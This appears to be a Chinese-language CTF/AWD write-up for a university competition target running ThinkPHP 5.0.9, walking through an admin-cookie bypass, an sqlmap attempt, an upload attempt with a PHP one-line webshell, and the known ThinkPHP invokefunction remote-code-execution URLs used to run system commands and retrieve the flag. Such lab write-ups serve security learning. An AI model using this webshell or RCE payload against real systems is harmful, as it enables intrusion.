题目描述
防灾科技学院 “应急挑战杯” 大学生网络安全邀请赛 AWD 靶机题目。本题不是黑盒,而是有本地源码的,可以白盒审计。
Solution
打开题目发现是一个类似论坛的地方:
从图中我们发现有 2 个地方可能存在漏洞,一个是文件上传,另一个是搜索框可能存在 SQL 注入。
我们使用 dirsearch 扫描目录,可以发现一些线索:
验证登陆模块
我们尝试访问/admin/?/login
,页面会跳转到登陆的地方,但会有报错信息:
在这里我们发现了 ThinkPHP 的版本是5.0.9
。我们可以在源代码的application/admin/controller/Base.php
找到相关逻辑:
我们可以到尝试在 Cookie 中加上csrf_token
参数,在 Kali 下用
echo -n "qwertyuiop" | md5sum
算出我们要的 MD5 值是6eea9b7ef19179a06954edd0f6c05ceb
。现在用 Burpsuite 拦截请求,修改 Cookie 的值,然后放行数据包:
我们可以看到浏览器那边已经登陆到了后台:
我们尝试做其它操作,但每次都需要在 Cookie 添加csrf_token=6eea9b7ef19179a06954edd0f6c05ceb
参数来进入页面。
转悠了一圈没发现什么有用的东西。
验证 SQL 注入
我们先尝试输入一个1
,观察到题目是通过 URL 传递参数的:
我们直接 SQLMap 一把梭看看能跑出什么东西:
sqlmap -u "http://www.bmzclub.cn:24130/index/Search/index.html?keywords=1" --batch --threads 4 --dbs
很遗憾的是 SQLMap 似乎没有发现明显的 SQL 注入漏洞,有可能后端加了参数过滤,我们需要额外使用 tamper 脚本。我们暂时放弃这一路径。
验证文件上传
我们在/public
目录下发现了.htaccess
文件:
这里它把文件名带ico
的文件都当作 PHP 脚本执行。
我们编写一句话木马,重命名为ico.png
:
GIF8
<?php @eval($_POST['banana]);?>
把它上传到服务器:
我们发现后端会对文件重命名,为了达到 htaccess 文件的要求,我们重命名一句话木马为:shell.ico.png
,再上传一次,但这样会导致文件后缀解析错误。由于上传的时候路径不是我们可控的,这就无法使用 00 截断。
所以这条路暂时先放弃。
验证框架漏洞
我们前面发现了 ThinkPHP 的版本是5.0.9
,众所周知 ThinkPHP 是有很多框架漏洞的,我们可以尝试使用框架漏洞。
我们在 Kali 下输入下列命令可以获得相关漏洞信息:
searchsploit thinkphp
然后使用cat /usr/share/exploitdb/exploits/php/webapps/46150.txt
阅读相关信息,我们这里选取第 6 个 POC 去试一试:
http://www.bmzclub.cn:24130/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
我们发现有一个hint.php
文件,看看它是什么内容:
http://www.bmzclub.cn:24130/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat hint.php | base64
解码得到的结果:
这是现成的 WebShell,我们尝试用哥斯拉连接:
最后我们在/
目录下找到 Flag 文件:
参考资料
- YJTZB_2019/writeup.pdf at master · GinkgoTeam/YJTZB_2019 (github.com)
- BZMCTF综合渗透部分 writeup_shu天的博客-CSDN博客